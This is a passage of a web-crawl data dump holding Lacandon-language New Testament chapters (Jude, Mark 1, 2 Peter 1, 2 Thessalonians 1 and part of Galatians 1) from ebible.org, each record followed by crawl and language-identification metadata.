ti' u t'ʌn C'uj. 23 Qui' arej yubob, quij Judas, soc mʌ' u binob tu cu yerar mac. Taquex a ti'obo' an ten bic ca chopʌytiquex ta wicnʌnex mac soc mʌ' ju yerar ich jach c'ac'. Qui' arej yubob ti' u jer mac u t'ʌn C'uj, quire' a ti'obo' a yajex quire' ca yamtiquex a ti'obo' cax ca p'atiquex a ti'obo' quire' jach manan u si'pirob.\nJach caremech C'uj, quij\n24-25 Ti' yʌn mac quir u qui' cʌnantiquechex soc mʌ' a wacsiquex a si'pirex, chichin. Raji' Jesucristo. Ti' yʌn mac quir u yacsico'onex ich C'uj. Raji' cu bin aric ti' C'uj: \"Qui' in wor in wesic tech in parar. Mʌ' ja wirej, in parar mʌna' u si'pir\", quij Jesús. Raji' cu bin u yacsico'onex ich ʌcʌtan C'uj quire' mʌna' u jer C'uj. Raji' cu taquico'onex wa ber quij cacsiquex tij corex ti' u parar C'uj, a mac a cu taquico'onexo'. Ca' ij carex ti' C'uj: \"A techo' C'uj, toc yʌn a muc' munt q'uin. Ca' in reyintechob C'uj tin cotorob cax ba' tu cotor munt q'uin. Ca' u c'ʌ'otech mac, mun jach caremech.\" Mʌ' ja wirej, baxuc yʌn ti' tu ch'ic chunin uch, baxuc yʌn ti' baje'rer. Jeroj ts'oquij, quij Judas.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/lacNT\/JUD01.htm","date":"2021-12-01T12:10:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964360803.0\/warc\/CC-MAIN-20211201113241-20211201143241-00184.warc.gz","language":"lac","language_score":1.0000063181,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"lac_Latn_score\": 1.0000063180923462}","num_words":1763,"character_repetition_ratio":0.085,"word_repetition_ratio":0.002,"special_characters_ratio":0.293,"stopwords_ratio":0.458,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A JE'RA' U JACH TSOYIR U T'ɅN C'UJ TU TS'IBTA MARCOS\n1\nJuan, a cu yacsic ja' tu jo'r mac tu tsec'tic ich tʌcʌy ru'um\n(Mt. 3.1‑12; Lc. 3.1‑9, 15‑17; Jn. 1.19‑28)\n1 U jach tsoyir u t'ʌn Jesucristo u parar C'uj caj u yʌnxchun bic a je' ts'iba'an a ra' cu bin tarej.\n2 Tu yʌnxchun an ten bic Isaías u ts'ibmʌn uch quire' raji' ts'a'b u tucur ten C'uj quir u ts'ibtic a ba' u c'at C'uj. U'yex ba' tu ts'ibtaj:\nIric, quij C'uj, quin tuchi'tic yʌjtseq'uir in t'ʌn, quij C'uj, pʌyber cu tsoyquintic a ber tu ca bin c'uchur. 3 Ti' yʌn mac tan u c'am t'ʌnic ich tʌcay ru'um. Raji' tan ya'aric: \"Tajquintex a worex soc c'ucha'an a worex a qui' acsiquex Jaj Ts'ur irex tan a jariquex u ber rey quir u tar.\"\nBaxuc caj u ts'ibtaj Isaías uch.\n4 Rajen c'uchij Juan tan u yacsic ja' tu jo'r mac ich tʌcay ru'um tan u tsec'tic ca' u c'axej tu yor mac soc u p'ʌticob u c'asirob soc u jawsa' u si'pirob ten C'uj. 5 Tiri' caj rʌc binob yicnʌn Juan tu cotor mac a cʌja'anob tu ru'umin Judea quet bayiri' tu cotor mac ti' u cajar Jerusalén. Tu toc arajob ba' c'asir caj u betob quir u jawsa' u si'pirob ten C'uj. Jeroj tune', caj acsa'b ja' tu jo'rob ten Juan ich u ya'arir Jordán.\n6 A Juano' u buquinmʌn u noc' a sʌcta'b ti' u tsotser u yʌrʌc' camello. Tu c'ʌxaj u nʌc' yejer ot'. Raji' cu chi'ic sac'. Cu mʌquic cab a mʌ' ʌcrʌc'a'an. 7 Caj u tsec'taj Juan:\n―Tan u tar tin pach a mac jach no'j. A teno' ―quij Juan―, mʌ' no'jen. Mʌ' pataren, a teno', cax in chen p'uxtar in pitic u c'anin u pech' xʌnʌb. 8 A teno' ―quij Juan―, caj in wacsaj ja' ta jo'rex chen a mac a ca' bin c'uchuc je' u ts'ic techex u Taj'or u Pixam C'uj.\nAcsa'b ja' tu jo'r Jesús\n(Mt. 3.13‑17; Lc. 3.21‑22)\n9 Mʌ' uch caj ruq'uij Jesús ich u cajar Nazaret, ra' u wa'an u ru'umin Galilea. Caj c'uchij Jesús yicnʌn Juan caj acsa'b ja' tu jo'r xan ich u ya'arir Jordán. 10 Caj ts'oc u yacsic ja' tu jo'r Jesús ten Juan tan u bin ich chi' ja', Jesús seb caj u yiraj u buj ca'anan. A jeroj caj yiraj xan, u Taj'or u Pixam C'uj tan yeman irej susuy caj oc yicnʌn Jesús. 11 Raji' caj u yubaj u t'ʌn a cu tar ca'anano', caj u ya'araj:\n―A techo' ―quij―, in pararech, in jach yajech. A techo' ta qui'quin tin wore'.\nTumta'b u yor Jesús ten Satanás\n(Mt. 4.1‑11; Lc. 4.1‑13)\n12 A jeroj tune', seb caj pay u ber Jesús ten u Taj'or u Pixam C'uj ca' xic ich tʌcay ru'um. 13 Tiri' yʌn Jesús uch ich tʌcay ru'um quir u tumta' u yor ten Satanás, raji' u ts'urir a quisino'. Caj tumta'b u yor ten Satanás cuarenta q'uin. Caj tumta'b yor Jesús ten Satanás quir u yiric wa cu yacsic u si'pir. Ti' yʌn c'axir bʌc' tu yʌn Jesús, chen tarob u yʌjmasirob u t'ʌn C'uj quir u yamta'rob Jesús.\nJesús tu yʌnxchun u tsec'tic u t'ʌn C'uj ich u ru'umin Galilea\n(Mt. 4.12‑17; Lc. 4.14‑15)\n14 Chen caj ts'oc u c'ʌric Juan tu cu naj ma'cʌr mac, c'uchij Jesús ich u ru'umin quir u tsec'tic u jach tsoyir u t'ʌn a cu tar ich C'uj. 15 Raji' Jesús caj u ya'araj:\n―Baje'rer, c'uchij tu q'uinin a caj u ya'araj C'uj uch. Baje'rer cu bin reyinbir C'uj, rajen c'axex a worex soc a p'ʌtiquex a c'asirex, ca wacsiquex ta worex a jach tsoyir u t'ʌn C'ujo'.\nJesús caj u pʌyaj xib, a rʌc yʌn u nub xib a cu chuquicob cʌy\n(Mt. 4.18‑22; Lc. 5.1‑11)\n16 A ray u q'uinino' tan u man Jesús ich u chi' c'ac'nab, u c'aba' u c'ac'nabir Galilea, jeroj caj u yiraj Simón yejer u yits'in Andrés. Tu chuquicob cʌy quire' ra' u beyajob. Cu chuquicob cʌy yejer yajow chim. 17 Caj u ya'araj Jesús ti'ob:\n―Sayenex tin pach quir in camsic techex in t'ʌn soc a manex a tsec'tex in t'ʌn ich a wet winiquirex judío.\n18 Seb caj u p'ʌtajob u chuc cʌyob, caj sayob tu pach Jesús.\n19 Wa ber caj bin mʌ' nachi', a jeroj caj u yiraj Jacobo, u parar Zebedeo, yejer Juan u yits'in Jacobo. Robob caj u chuyob u chimin u chuc cʌyob ich u chemob. 20 An ten bic caj u yiraj ti'ob, seb caj pay Jacobo yejer Juan ten Jesús. A jeroj tune', caj u p'ʌtajob u tetob Zebedeo ich chem yejer u c'urewo', caj sayob tu pach Jesús.\nTi' yʌn xib turiri', yʌn u c'ac'as quisinin\n(Lc. 4.31‑37)\n21 Caj c'uchob tu cajar Capernaum. Ber caj c'uchij tu q'uinin tu cu jesicob u bʌjob u winiquirob judío, caj oquij Jesús tu chan najir tu cu naj c'ujinticob C'uj u winiquirob judío. Caj oquij tu yʌnxchun u camsa'ob. 22 A mac a ti' yʌnob a caj u yubob jach jaq'uij yorob an ten bic caj u camsaj ti'ob. Mʌ' ja wirej, Jesús caj u camsaj, jach noj u camsej mac. Mʌ' an ten bic yʌjcamsʌyʌjirob u t'ʌn Moisés. 23 A ray u q'uinino' seb caj oquij ich u chan najir tu cu naj c'ujinticob C'uj u winiquirob judío a mac aca'an quisin ti'e'. Raji' c'am caj u ya'araj:\n24 ―Ba' a c'at ti' a tenobo' Jesúsech a cu tar ich u cajar Nazaret? Tara'anech a ch'esiquenob, in werechob maquechi', a techo' a mac a cu tar ich C'uj, a techo' caj a ric'saj a wʌc'ʌs bʌjiri' soc C'uj yʌninech.\n25 Jesús caj u q'ueyaj, caj u ya'araj:\n―Nup a chi', ca' joc'aquech, ca' a p'ʌtej a je' xiba'.\n26 A c'ac'as quisino', caj u betaj ca' babanʌqui', jeroj tune' caj joq'uij ti', tan u c'am awʌt. 27 A mac a ti' yʌnob ich u chan naj tu cu naj c'ujinticob C'uj u winiquirob judío jach manan rʌc jaq'uij yorob, rajen caj u pacran c'aticob ich u yet winiquirob judío:\n―Ba'quiri' a jera', quij ya'ara'ob? Ba' u jer t'ʌn cu camsa'? Quire' cu camsa' an ten bic mac yʌn u muc'. Mʌ' ja wirej, a je' xiba', cax cu t'ʌnic a quisino', cu quibicob a ba' cu ya'ara'ob ti' ten Jesús.\n28 Caj joc'ob a mac a ti' yʌnob ich u chan najir tu cu naj c'ujinticob c'uj u winiquirob judío seb caj u jumbintajob a ba' caj u yirob ich tu cotor u ru'umin Galilea, baxuc xan, caj u jumbintob a ba' caj u yubajob.\nJesús cu jawsic u yixquit Simón Pedro\n(Mt. 8.14‑15; Lc. 4.38‑39)\n29 Wa ber caj ruq'uij Jesús ti' u chan najir tu cu naj c'ujintiob C'uj u winiquirob judío, yet binacob u camsʌwinicob. Yet binacob Jesús a Jacobo yejer Juan, bayiri' xan Simón Pedro yejer Andrés, a jeroj caj c'uchob tu yatoch Simón Pedro yejer Andrés. 30 Barej u yixquit Simón Pedro characbar quire' jach ar u jo'r. Seb caj ara'b ti' Jesús yaj u yixquit Simón Pedro. 31 C'uchij tun, raji', caj u mʌchaj u c'ʌb caj u ric'saj, jeroj seb caj jaw, caj u yʌnxchun u jansa'rob.\nJesús cu jawsic pim mac\n(Mt. 8.16‑17; Lc. 4.40‑41)\n32-33 Tan u bin u q'uinin caj jach ac'bichʌjij tun. Tu cotor a mac a p'eri' u cajarob yejer Simón Pedro yejer Andrés caj c'uchob tu cu naj ocar mac tu yatoch Simón Pedro yejer Andrés. Caj tar purbirob a mac a jach yaj ich Jesús yejer a mac a aca'an ti' quisino'. Tiri' caj u rʌc much'quintajob u bʌj tu yʌn Jesús. 34 Caj u jawsaj ya'ab mac yejer ya'ab u yajirir. Bayiri' xan, caj u joc'saj ti' mac a yʌn ya'ab u quisinino'. Mʌ' ju cha'bʌr u joc'ar u t'ʌnob ten Jesús quire' u jach erob jach raji' Cristo.\nJesús caj u tsec't u t'ʌn ich u ru'umin Galilea\n(Lc. 4.42‑44)\n35 C'ʌs a'ac'bir mʌ' toy qui' sasichʌjʌqui' caj ruq'uij Jesús tu junan tu mʌna' mac soc u t'ʌnic C'uj. 36 Jesús cu man cʌxta'bir ten Simón Pedro yejer u yet camsʌwiniquirob. 37 Wa ber caj irir Jesús ten a mac tarob cʌxta'bir. Caj u ya'arob:\n―Tu cotor mac cu cʌxtiquechob.\n38 Caj ya'araj ti'ob:\n―Ca' xico'onex ich u jer cajarob a baytʌco' ca' in tsec'tej xan, quire' rajen ruq'uen ti' a ray cajaro'.\n39 Jesús rʌc man ich tu cotor u ru'umin Galilea cu yocar jujuntur tu chan najir tu cu naj c'ujinticob C'uj u winiquirob judío tiri' caj u tsec't u t'ʌn C'uj. Jujuntur u cuchir tu cu naj tsec'tic u t'ʌn C'uj tu oquij caj u joc'saj a mac aca'an u quisinin ti'.\nJesús caj u jaws a mac u cʌnmʌn iq'uer u ca'\n(Mt. 8.1‑4; Lc. 5.12‑16)\n40 A mac a ju cʌnmʌn iq'uer u ca', c'uchij yicnʌn Jesús, caj xonrʌj caj u ya'araj:\n―Wa ja c'ate', c'ucha'an a wor a jawsic iq'uer u ca' ten.\n41 Jesús caj u tucraj ti', caj u nuncaj caj u ya'araj:\n―In c'at ―quij Jesús―, jawen quen.\n42 A jeroj tune', seb caj jawij a iq'uer u ca' ti'. 43 Jesús caj u t'ʌnaj ca' xic tan u chich aric ti':\n44 ―Mʌ' a bin a wa'aric tu ca man bic jawech. Chen tar a bin ich sacerdote u winiquirob judío quir a sijic ti' a ba' caj ya'araj Moisés uch. Soc yerob tu cotor mac jawsa'bech ―quij Jesús.\n45 Raji' mʌ' caj u yubaj a ba' ara'b ten Jesús, seb caj u toc rʌc araj ich u rac'ob. Caj yubob jaw a iq'uer u ca' ti'e'. Rajen Jesús mʌ' c'ucha'an yor u joc'ar ich tu cotor mac cax a ba' cajarob. Cu chen joc'ar tu mʌna' mac, cax ti' cu bin Jesús ti' rʌc c'uchob yicnʌn Jesús.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/lacNT\/MRK01.htm","date":"2021-12-07T02:09:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363332.1\/warc\/CC-MAIN-20211207014802-20211207044802-00613.warc.gz","language":"lac","language_score":0.9999970198,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"lac_Latn_score\": 0.9999970197677612}","num_words":1559,"character_repetition_ratio":0.063,"word_repetition_ratio":0.006,"special_characters_ratio":0.306,"stopwords_ratio":0.483,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A JE' JU'UNA', PACHIR CAJ U CA' TS'IBTA PEDRO\n2 PEDRO\n1\nRaji' tu ts'ibtaj Pedro ti' a yacsmʌnob tu yorob\n1 A teno' Simón Pedrojen. Caj in ts'ibta techex a je' ju'una'. A teno' u c'urewen Jesucristo. Raji' Jesucristo caj u tuchi'ten. A teno' caj in ts'ibt a je' ju'una' techexa' quire' caj a wacsex ta worex ti' Jesucristo. Rajen taj ij corex cu yirico'onex C'uj yejer ic Jaj Ts'urex Jesucristo a mac caj u tacajo'onexe'. 2 Quire' a werex C'uj, baxuc a werex Jesús ic Jaj Ts'urirex. Rajen in c'at jach manan u yamtiquechex C'uj, quire' u yajechex C'uj. In c'at jach manan u qui'tar a worex ti' C'uj soc mʌna' ba' ca tucrex.\nCa' ij quirex mac bic tabar a caj u yacsaj tu yor ti' C'uj\n3 Mʌ' ja wirej, a C'ujo' caj u ts'aja to'onex u muc'. Jach manan u tsoyir C'uj caj u ts'aja to'onex soc ic manex tu tsoyir. A C'ujo' caj u ts'aja to'onex u muc' soc chʌca'an tan ic sʌjtiquex C'uj. Mʌ' ja wirej, caj u ts'aja to'onex u muc' quire' ij querex Cristo. Rajen a C'ujo' caj u tetajo'onex soc ij querex raji' jach carem. Soc ij querex ra' u tsoyir C'uj. 4 Rajen a C'ujo' caj u toc araj: \"Je' u ts'ic to'onex u muc' quir ic manex tu tsoyir. Quir ic rʌc p'ʌtiquex, a c'aso' a ba' cu pachiticob tu yorob a mac a mʌ' yerob C'uj.\" Caj u toc ts'aja to'onex a ba' caj u toc araj to'onex C'uj soc ij cʌniquex C'uj. Mʌ' ja wirej, caj u ts'aja to'onex u t'ʌn a ba' jach tsoyo' bayiri' a jach manan co'ojo'. 5 Rajen ca' a qui' p'isex a bʌjex soc mʌ' chen ca wacsiquex ta worex. Ca' a p'isex a bʌjex soc a manex ich u tsoyir xan. Mʌ' chen ca' a p'isex a bʌj soc a manex ich u tsoyir, ca' a p'isex a bʌj soc a werex a ba' u c'at C'uj techex. 6 Mʌ' a chen p'isiquex a bʌjex soc a werex a ba' u c'at C'uj techex. Ca' a p'isex a bʌjex a su'siquex a bʌjex soc mʌ' a pachtiquex a c'aso'. Mʌ' a chen p'isiquex a bʌjex a su'siquex a bʌjex soc mʌ' a pachtiquex a c'aso'. Ca' a p'isex a bʌjex soc pacachbirechex. Mʌ' a chen p'isiquex a bʌjex soc pacachbirechexi'. Ca' a p'isex a bʌjex soc a cʌniquex C'uj xan. 7 Mʌ' a chen cʌniquex C'uj. Ca' a p'isex a bʌjex soc a yajquintiquex a wet acsʌ'orir. Mʌ' a chen p'isiquex a bʌj a yajquintex a wet acsʌ'orir. Ca' a p'isiquex a bʌj soc a yajquintiquex tu cotor mac.\n8 Wa caj a qui' p'isex a bʌjex, a qui' cʌniquex a je' t'ʌna'. Je' a bin manex tu tsoyir. Je' a qui' cʌniquex a C'ujo'. Mʌ' ja bin a p'ʌtex Jesucristo ic Jaj Ts'urirex quire' chʌca'an yiric tu cotor mac a werex Jesucristo. 9 A je' t'ʌna' wa mʌ' ta qui' cʌnex irechex a mac a ch'op u wicho'. Wa irechex a mac a ac'birchʌj u wicho', chen bʌytʌc cu yiric. Mʌ' ja wirej, tub ti' bic jawsa'b ti' u si'pir uch. 10 Rajen in wet acsʌ'orirechex, mʌ' u yʌn tubu techex tu pʌyechex C'uj tu beyaj. Mʌ' u yʌn tubu techex quire' caj u tetechex C'uj. Wa ca p'isiquex a bʌjex soc mʌ' u tubu techex a ba' caj in wa'araj techex sam. Mʌ' ja bin a p'ʌtex u t'ʌn C'uj mʌ' biq'uin ca p'ʌtiquechi'. 11 Wa baxuc ca cʌniquexo', je' u qui' qui' acsiquechex ic Jaj Ts'urirex ra'iri' ij cʌjtaquirex Jesucristo tu cu bin u reyintej munt q'uin.\n12 Rajen su'su' quin bin in c'ase techex ti' u t'ʌn C'uj, a quin camsiquechex. Cax ta chen toc u'yajex, cax ta toc acsex ta worex ti' Cristo. 13 A teno' quin tucric ra' in jach beyaj quir in c'asic techex ti' a ba' caj in camsechex uch, soc mʌ' ju tubur techex hasta quin quimin. 14 Baxuc caj ya'ar ic Jaj Ts'urirex uch. Bin in ca' quinsbir a teno' baje'rer, tabar in quinsa'. 15 Baxuc baje'rer quin c'asic techex soc pachir a toc c'ʌ'otiquex. Wa jaj ix tʌcoj tabar u c'uchur tu q'uinin in quimin. Rajen ts'ajan in wor ca' in p'ʌtechex a ba' je' u c'asiquechex ti' in t'ʌn.\nA mac caj u yira u waysa'b Jesús\n16 A teno' caj in toc araj techex u muc' ic Jaj Ts'urirex Jesucristo, soc a werex biquira'. Mʌ' ja wirej, bin u ca' ur ich u sasirir. Aro' mʌ' ra' u bʌjiri' u t'ʌn xib quir u tusaric ti' u rac'ob. Mʌ' raji' a ba' tenob quin chen acsicob tin worob a cu bin tar. Mʌ' ja wirej, caj in wirob tin wich caj waysa'b Jesús jach tu sasir uch. 17 A tenobo' caj in wirob caj sʌjta'b Jesús ten u Tet C'uj wa ber caj waysa'b Jesús ich u jo'r wits. Mʌ' ja wirej, tar u tar u sasirir C'uj ich u muyarir a caj u bobʌst tenob u muyarir caj in wu'yob ya'aric C'uj: \"A je'ra' in parar, in jach yaj. Ra' cu qui'quintic in wor.\" Baxuc caj ara'b ten C'uj ich u jo'r wits. 18 A tenobo' caj in wu'yob u t'ʌn ca'anan. Tar u tar u t'ʌn ca'anan a tenobo' ti' yʌnenob ich u jo'r wits yejer ic Jaj Ts'urirex. A rayo' u witsir C'uj.\n19 Rajen in toc erob, ra' jach taj a ba' tsec'ta'b ten yʌjtseq'uirob u t'ʌn C'uj ich u ju'unin uch, quire' caj u tsec'ob ca' bin tac Cristo. Mʌ' ja wirej, a ts'iba'an u t'ʌn C'uj a ts'ibta'b ten yʌjtseq'uirob C'uj uch, irob quib, a cu yerc'ac'tic ic berex ra' quir u yamtico'onex soc chʌca'an ic berex hasta cu tar u sastare' cu tar co'coch ich. Rajen ij querex tabar u sastar. Baxuc u t'ʌn yʌjtseq'uirob u t'ʌn C'uj uch. Raji' quir u yamtico'onex soc u pʌyicob ic berex hasta ca' bin uruc ic Jaj Ts'urirex. Rajen ca' a quibex u t'ʌn yʌjtseq'uirob u t'ʌn C'uj uch quir u yamtic techex. 20 Ca' a qui' sar a xiquinex soc a najtiquex a ba' quin wa'aric. Mʌna' mac, turiri' c'ucha'an yor u najtej tu ts'iba'an u t'ʌn C'uj wa mʌ' yamta' ten u Taj'or u Pixam C'uj. 21 C'aj techex a ba' caj u tsec'tob u yʌjtseq'uirob u t'ʌn C'uj uch, u bʌjirirob mʌ' ju tsec'tobi'. Tu chen tsec'tob u t'ʌn C'uj, quire' ara'b ten u Taj'or u Pixam C'uj ti'ob. Rajen caj u tsec'tob a ba' ara'b ten C'uj.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/lacNT\/2PE01.htm","date":"2021-12-02T13:37:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362219.5\/warc\/CC-MAIN-20211202114856-20211202144856-00134.warc.gz","language":"lac","language_score":1.0000060797,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"lac_Latn_score\": 1.000006079673767}","num_words":1055,"character_repetition_ratio":0.087,"word_repetition_ratio":0.006,"special_characters_ratio":0.295,"stopwords_ratio":0.464,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A JE' JU'UNA', PACHIR CAJ U CA' TS'IBTA PABLO TI' U YET ACSɅ'ORIROB ICH U CAJAR TESALÓNICA\n2 TESALONICENSES\n1\nTs'ibta'b a je' ju'una' ten Pablo yejer u nup'ob soc u xaquicob u yet acsʌ'orirob tu cajar Tesalónica\n1 A teno', Pablojen, quin ts'ibtic techex a je' ju'una' yejer Silvano quin ts'ibtic. Yejer Timoteo quin ts'ibtic techex xan. Quin ts'ibticob techex ij quet acsʌ'orirex tu ca much'quintiquex a bʌjex quir a c'ujintiquex C'uj ich u cajar Tesalónica. Quin ts'ibticob techex quire' p'eri' a worex yejer ic Tetex C'uj. Baxuc, p'eri' a worex yejer ic Jaj Ts'urirex Jesucristo xan. 2 A tenob, quin t'ʌnicob C'uj techex ca' u yamtechex ic Tetex C'uj. Baxuc ti' ic Jaj Ts'urirex Jesucristo. Ca' qui'ac a worex ti' ic Tetex C'uj soc mʌna' ba' ca tucriquex. Baxuc ti' ic Jaj Ts'urirex Jesucristo, xan.\nA C'ujo' bin u ca' ya'arej wa tsoyo'onex wa mʌ' tsoyo'onex winiqui' ca' bin uruc Cristo\n3 A tenobo' rajra' quin wa'aricob ti' C'uj: \"Bayo' C'uj\" quire' a mac a yacsmʌnob tu yorob tu cajar Tesalónica. Quin wacob ti': Bayo' C'uj, quire' jach tsoy aro'. Mʌ' ja wirej, taj tan u quibicob a t'ʌn C'uj, quenob ti'. Bayiri' xan, C'uj, quenob ti'. Jach manan u yajquinticob tu cotor u yet acsʌ'orirob quire' tan u pacran yajquinticob u bʌjob. 4 Rajen qui' in worob in tsicbarob ti' a bʌjobex tu cu much'quinticob u bʌjob quir yubicob a techex. Mʌ' ja wirej, nemʌ' biquechex cax a mac a cu chuquicob a pachex. Cax tan u ts'ic a muc'yajex tan a muc'ticobex. A baxuco' tan a wesiquex ti' tu cotor mac bic tabar ta quibex u t'ʌn C'uj. 5 Mʌ' ja wirej, a baywo' C'uj tan yesic bic jach taj cu yirico'onex. Quire' ca' bin ts'ocac yiric wa tsoy ij corex tu quic muc'yajex bin u ca' u qui' qui' acso'onex tu cu bin u reyintic C'uj.\n6 Mʌ' wa taj a C'ujo' ca' u bo'otej tu cotor mac a cu chuquicob a pachex? A C'ujo' cu ch'a'ic ic muc'yajex soc 7 ca' ic jesex ic bʌjex ca' bin uruc ic Jaj Ts'urirex, Jesucristo. Yet tarob u yʌjmasirob u t'ʌn C'uj a mac a jach chich u muc'ob. Yet tar c'ac', a tar u tar ca'anano'. 8 Quir u bo'otic u bo'orir a mac a mʌ' yer C'uj. Baxuc cu bin u bo'otej u bo'orir a mac a mʌ' tu quibob u jach tsoyir u t'ʌn C'uj. 9 Robob a mac a mʌ' yerob C'uj quet yejer a mac a mʌ' u quibob u jach tsoyir u t'ʌn C'uj, yʌn bo'ota' ten C'uj. Tar bino' cu yerar munt q'uin. Bin u ca' joc'sa'bir ten C'uj soc mʌ' yiricob u wich ic Jaj Ts'urirex. Mʌ' ju bin yiricob u muc' ic Jaj Ts'urirex a mac a jach manan tsoyiro'. 10 Ca' bin u bo'otacob ti'ob ten C'uj ra' u q'uinin ca' bin sʌjta'bir ten a mac tu yacsajob tu yorob. Jesús bin u ca' sʌjta'bir ten a yacsmʌnob tu yorob. Ra' u q'uinin ca' bin uruc ic Jaj Ts'urirex. A mac a cu yacsicob tu yorob ti'e' bin u ca' u ya'arob mun jach carem ic Jaj Ts'urirex. Bin u ca' u ya'arob aro' ti' ic Jaj Ts'urirex quire' caj u yacsob tu yorob a ti'o'. Baxuc a techex xano' quire' ta wacsex ta worex u t'ʌn caj in tsec'tob techex uch.\n11 Rajen tan in t'ʌnicob C'uj soc yiriquechex jach tsoyechex. Wa cu yiriquechex jach tsoyechex quire' ta toc quibex u t'ʌn. Je' u qui' acsiquechex tu ru'umin tu cu bin u reyintic C'uj. Rajen tan in t'ʌnicob C'uj techex soc u ts'iquex a muq'uex C'uj. Soc u nup'ur a ba' ta ts'ibtenob a techexo' quire' tsoy. Rajen quin t'ʌnicob C'uj techex soc u ts'iquex a muq'uex C'uj soc c'ucha'an a worex a manex tu tsoyir. 12 Mʌ' ja wirej, a baywo' bin u ca' sʌjta'bir ten tu cotor mac ic Jaj Ts'urirex, quire' tu yubob taj ta c'ʌmex u t'ʌn ich u cajar Tesalónica. Bayiri' a C'ujo', bin u ca' u sʌjbensirtic techex, quire' ta sʌjtex u parar C'uj Jesucristo. Bin u ca' u sʌjbensirbir techex quire' cu yajquintiquechex C'uj quir u yamtic techex ic Jaj Ts'urirex Jesucristo.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/lacNT\/2TH01.htm","date":"2021-12-07T03:15:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363332.1\/warc\/CC-MAIN-20211207014802-20211207044802-00197.warc.gz","language":"lac","language_score":1.0000010729,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"lac_Latn_score\": 1.000001072883606}","num_words":679,"character_repetition_ratio":0.079,"word_repetition_ratio":0.003,"special_characters_ratio":0.277,"stopwords_ratio":0.462,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A JE' JU'UNA', RAJI' TI' U YET ACSɅ'ORIROB ICH U RU'UMIN GALACIA. RAJI' TU TS'IBTA PABLO\nGÁLATAS\n1\nPablo caj u yʌnxchun u ts'ibtic a mac a yacsmʌnob tu yorob ich u ru'umin Galacia\n1 A teno' Pablojen caj u toc teten ca' xiquen in tsec't u t'ʌn C'uj. Mʌna' xib tu teteni', mʌ' pim xib tu teteni'. Chen a teno' u bʌjiri' Jesucristo tu teten quet yejer in Tet C'uj caj u tetenob. A teno' tu teten Cristo a mac ric'sa'b ten C'uj ich u quimirir. Ra' caj u ts'aj ten in beyaj. 2 A teno' yejer in wet acsʌ'orirob a te' yʌn tu yʌnena', tan in ts'ibticob techex a mac ti' yʌno' ich u ru'umin Galacia. Caj in ts'ibtob techex a mac yacsmʌnob tu yorob u t'ʌn C'uj tu ru'umin Galacia. 3 A teno' in c'at ca' u ts'a techex ic Tetex a ba' tsoy tu t'ʌn C'uj, baxuc xan ca' tac u qui'ir a worex ti' C'uj. A teno' in c'at ca' tac aro' ich ic Tetex C'uj. Baxuc xan ti' ic Jaj Ts'urirex Jesucristo. 4 Mʌ' ja wirej, u bʌjiri' Jesús caj u c'ub u bʌj quir u quinsa' u bo'orir ic si'pirex quir u taquico'onex. Caj u c'ub u bʌj soc mʌ' ic mʌnex tu c'asir a ti' yʌn ich yoc'ocab baje'rer. Caj u c'ub u bʌj quir u taquico'onex quire' baxuc jach tsoy tu t'ʌn C'uj. 5 Caj u c'ub u bʌj Jesús quir u taquico'onex mʌ' wa jach carem ij C'ujex, ca' ij carex: \"Jach caremech C'uj munt q'uin uch.\" Baxuc ij c'atexo'.\nMʌna' u jer u t'ʌn C'uj quir u taquico'onex\n6 A teno' jach jac' in wor caj in wu'yaj sep caj a p'ʌtex u t'ʌn C'uj quir a tus uyiquex u jer. Mʌ' ja wirej, a C'ujo' tu t'ʌnechex quire' caj u yajechex quire' Cristo caj u yiraj otsirechex. Chen baje'rer caj a p'ʌtex C'uj quir a tus uyiquex u jer u t'ʌn, jaj ix tʌcoj cu bin u taquiquex. 7 Mʌna' u jer u jach tsoyir u t'ʌn C'uj quir u taquiquechex. Jari' a caj in wa'araj techex. Mʌ' ja wirej, caj tar mac quir u tubsic a worex quir u c'axicob u t'ʌn Cristo soc mʌ' a werex bic tabar a quibiquex u t'ʌn C'uj. 8 Barej wa to'onex cax wa ju jer turi' yʌjmasir u t'ʌn C'uj cu tar ca'anan caj u tsec'taj techex u jer jach tsoyir u t'ʌn C'uj. Wa mʌ' quet yejer u t'ʌn C'uj caj in tsec'taj techex uch. Ca' xic aro' tu cu yerar winic ich c'aq'uir benaj quisin. Quire' mʌ' taj a ba' caj tsicbanʌjij. 9 A teno' caj in wa'araj techex sam chen baje'rer quin wʌc'ʌs aric techex: U'yex wa cu tar mac tan u tus tsec'tic u jer t'ʌn mʌ' quet yejer a ta toc c'ʌmajexi'. Arej ti' ca' xic tu cu yerar munt q'uin ich c'ac'.\n10 Wa bin a ca' tucriquex a Pablojo', tan u qui'quintic yorob u rac'ob, je' win qui'quintic yorob in rac'ob? Mʌ' ja wirej, a teno' in chen c'at in qui'quintic yor a C'ujo'. Mʌ' ja wirej, wa quin chen qui'quintic yorob in rac'ob a teno' mʌ' taj quin beyaj ti' C'uj.\nAn ten bic Pablo teta'b ten C'uj quir u tsec'tic u t'ʌn\n11 U'yex ba' quin bin in wac techex in wet acsʌ'orirex. U jach tsoyir u t'ʌn C'uj, a caj in tsec'taj techex uch, mʌ' ti' u tar ich u tucur winiqui'. 12 Quire' a teno', quij Pablo, mʌ' jin c'ʌm u t'ʌn a winico'. A teno' mʌ' ju camsen u jer maqui' ti' teni'. Chen u bʌjiri' Jesús caj u ts'aj in tucur.\n13 A techexo', a toc 